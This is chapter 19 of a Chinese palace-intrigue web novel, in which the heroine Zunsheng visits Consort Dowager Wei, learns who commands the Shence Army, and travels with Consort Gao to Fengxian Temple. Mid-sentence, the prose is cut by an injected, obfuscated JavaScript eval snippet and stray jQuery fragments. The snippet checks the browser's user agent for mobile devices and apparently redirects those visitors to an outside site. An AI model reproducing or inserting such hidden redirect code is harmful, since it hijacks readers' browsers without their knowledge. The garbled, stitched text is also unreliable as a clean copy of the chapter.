19. 第 19 章

作品:《妖妃她恃美行凶

    可尊胜心中闪过一丝不妙的预感,在她看来,皇帝这更像是给韦家还有白鹿一说一个交代,面子上过得去也就行了,若是真放在心上,不会这样的,偏远的撷芳殿,才人这个位份,还有皇帝和昭仪都不曾召见,这不是真正的看重。


    虽说番邦朝贡较前几任皇帝时已大大减少,但瘦死骆驼比马大,宋月圆带来的东西,皇帝私库里不知有多少。


    她有种这件事就这么结束了的感觉,或许谁也不会见她,按照如今皇帝对韦家的态度,送一个女儿进宫就能扭转局势吗?她在其中又是怎样一个不尴不尬的作用?


    尊胜暗地安慰自己不要乱想,说不定一切就是宋月圆传达的字面意思。


    没过多久,一个年岁颇大的内侍也上了撷芳殿的门,说韦太妃传唤,尊胜带着春芳和松风去了。


    含凉殿在撷芳殿西侧,很是安静,殿外偶有鸟鸣。


    尊胜一进去,便发现韦太妃子=的居所不同于那种对未亡人的想象,这里几乎没有任何厚重的帘子帐缦,窗上全嵌着洁白的高丽纸,光亮没有任何遗漏,全撒了进来,韦太妃长着一张圆脸,坐在胡床上,任由一个女侍跪坐着给她按摩小腿。


    她见尊胜进来,便笑着招呼她:“好孩子,你来了,快坐,我叫人给你拿吃的,你爱吃什么?”


    尊胜忙说不用劳烦了,但韦太妃还是命人将一碟碟点心端了上来,她像寻常人家和善的老太太,拿起一个塞给尊胜:“来,尝尝怎么样,我叫人新做的。你这么瘦,该多吃点,现在女郎不知是怎么了,我们那时都喜欢圆圆的,饱满的女郎,这样有福气,能经得住事,太瘦了,风一吹就倒似的。”


    接着她又很新奇似的拉着尊胜上下打量:“你就是韦苏家的小女儿?我记得,你叫上爱是不是?你长得可比你爷娘漂亮多了。”她决口不提尊胜刚被找回来的事,只道“你进宫来了,有空多来陪陪我,这里日子太无趣了,还不如当时跟着去奉先寺念经呢。”


    尊胜不禁失笑,韦太妃虽然年过五十,但心态却很年轻,她有女儿,所以能在先帝去世后留在宫里,无子无宠的人没得选,只能去奉先寺吃糠咽菜,念几十年的经了。


    韦太妃行止倒不像申国公夫妇一样,让人觉得怪异,她的一举一动都很自然从容。


    春芳也上前请安:“太妃,奴春芳给您请安了。”


    韦太妃一下子收回了手,叫给她捶腿的侍女起来,她看起来很不愿意看见春芳:“你怎么进宫来了?不去留着照顾何善至?”何善至是韦夫人的名字,韦太妃进宫前就不大喜欢她。


    春芳刚准备解释,就被她不耐烦挥手制止了:“行了行了,以后少来,看见你就烦,在府里还不够,还要跟着来。”


    春芳讪讪退到一边去了,韦太妃兴致勃勃留着尊胜说了很多话,多到尊胜觉得这辈子她都没和人聊过这么长的天。


    尊胜走前,她还叮嘱松风将点心给尊胜带一些:“我这儿的点心,是我叫金蕊自己做的,别处没有,御膳房里也没有呢,我在这里,也不方便天天大张旗鼓的宣你来,你若是得了空,便自己过来啊。”她附过去低声道:“皇帝后宫里的那些女人都歇了心思了,你只管过自己日子,不用怕谁找你麻烦。”


    尊胜正准备走,却遥遥看见含凉殿旁不远处的宫室里,声音有些吵嚷,时不时还跑出来几个行色匆匆的侍女,韦太妃解释道:“不用管他们,隔壁的宋太嫔得了病,里头伺候呢。”


    尊胜点点头,答应韦太嫔往后常来看她后便回自己宫里了。


    才到殿门口,隔墙之外处鸣起一阵似远似近的鼓声。


    “这是什么声音?”尊胜好奇问,按理说宫里是不应当有这种声音的。


    松风看了一眼隔墙处:“回才人,近来圣人将二十四卫合为一处归于神策军,还任命了新的官员上任统管,这就是那边的声音。咱们撷芳殿旁边是摘星楼,过了摘星楼那处的宫墙,就是神策军衙门,离得近,所以也听得清楚些。”


    韦从俭所在的左神武军就是二十四卫之一,二十四卫职责分别是宫禁宿卫、仪仗随行,巡查宫城外围,兼管京城治安,专司宫门、城门守卫,还有协调全国兵员的征发等。一共有两位将军分别负责十二卫,如今皇帝将二十四处收为一处,那不就意味着长安,京畿,皇城,内廷,甚至部分州府的兵员,所有的守备防卫全都交到了一个人手里?皇帝一定很信任这人。


    “神策军的上将军是谁?”


    松风:“是项大人。”


    突然周围空气都安静了下来,过了几息,尊胜长出一口气:“是哪个项大人?”


    长安城里项大人很多,譬如项丞相项左州,譬如项铣大人,寿阳项家不少人都在当官,未必就是她想的那个,也不可能偏偏这么巧,就是她唯一认识的那个姓项的人。


    松风觉得才人好像有点奇怪,但还是答道:“是出身陇西的那位项大人,才人可认识他?”


    出身陇西的项大人就那么一个,无非是那个看到她整赵长韫,还笑话她的项凌。


    尊胜点点头,转身进了殿里。


    “不认识。”


    *


    过了几日,无论是皇帝,还是高昭仪处都没有要召见尊胜的意思,于是她便暂且先安下心来,跟松风了解了一下内廷各处的事情,从前她对这些事一概不知,韦夫人也没有告诉她,现在是时候学一下了,毕竟知己知彼,百战不殆嘛。


    尊胜每日睡到自然醒起床,洗漱用膳后便听松风讲事情,累了就去太液池边走走,日子过的比在申国公府还要舒服得多,有时她都怀疑是不是韦家把她送错了地方。


    但这样悠闲的日子没有持续太久,有几位在宫中颐养天年的先帝嫔妃患病已久,迟迟未愈,再加上得病宫人的人数大大超出往年,一时之内,内廷人心惶惶,高昭仪便下令,不日将携五品以上的妃嫔前往奉先


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200665|164881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寺祈福。


    到了祈福那日,高昭仪见到尊胜,倒是出人意料地问了几句。


    “进宫还习不习惯?有没有什么缺的东西?”


    尊胜一一答了后,高昭仪便心不在焉地点头让她上了马车。


    高昭仪车内,女侍金铃望了眼长长的车队,忧心忡忡道:“娘娘,这样真的可以吗。”


    此时的高昭仪一改多日之前颓靡的模样,变得精神焕发,眼里迸发出了如同少女的光彩,她唇角含笑,整个人的气质十分温柔,她摩挲着自己的戒指道:“有什么不行的,为太妃祈福是正儿八经的名头,况且她们这么多年也没出过宫,借这次机会出去散散心也好。”


    金铃从小和高昭仪一起长大,看见她的表情,哪里还有不明白的,她叹了口气:“奴说句难听的,娘娘不要怪奴。”她顿了顿道:“娘娘有没有想过,十七年来大人毫无音讯,如今突然约您见面,您不觉得奇怪吗?”


    一提起那个人,高昭仪就更雀跃,她的眼睛里光芒闪烁,声音甜蜜:“他不会骗我的,他说他会回来,他终于回来了,金铃你知道吗?我好想念他,直到现在,我仍觉得我尚在闺中,还等着他来娶我。”


    金铃心里一沉,她知道高昭仪对那人的感情,再劝无益,索性牵了她的手以示支持:“这么多年来,您没有一天开心,娘娘,奴只希望您开心。”


    高昭仪捏开她的手镯,里面竟塞着两张薄薄的纸片。


    “这张是我十五岁那年,他写给我的,这张是他半月前写给我的,金铃,你看看他的字迹,一点也没有变化,不知道他这些年过的好不好?”


    她们口中的“他”,是高昭仪进宫前的青梅竹马,也是高昭仪父亲高澄的关门弟子,宇文钧。他们的曾经寥寥几句就能说清,可好像也说不清,归根结底只能怪到生错门第。


    少年人两厢情愿怎能敌得过家族利益,于是高昭仪被送进了宫,宇文钧被派离京城,去了西北就职,半月前两人才恢复了联系。


    “娘娘,到了。”


    高昭仪闻声忙整了整衣服:“金铃,我这样可以吗?头发有没有乱?我还好看吗?”


    金铃伸手将她头上的牡丹簪子扶正,点点头:“娘娘没变,还是大燕最美的女郎。”


    十七年前,高昭仪高影美名动天下,无人不知,只是经过了多年岁月蹉跎,骄傲张扬的高昭仪在见心上人时,心底不自信,得到金铃的肯定,她嗔怪一声:“你就知道哄我。”


    嫔妃们下了车,高昭仪为首,一个寺主打扮的比丘尼双手合十,恭敬行礼,将她们迎了进去。


    尊胜抬头望着牌匾上的“奉先寺”,听松风说,这是太祖手书。越过牌匾能看到寺内大殿富丽堂皇,不似平常寺庙古朴,多是雕梁画栋,飞天神佛也以金箔铸刻。


    可在重重宝殿后,是一座接一座的山。奉先寺三面环山,地处京城东北郊外,唯一平坦的一处把守着卫兵。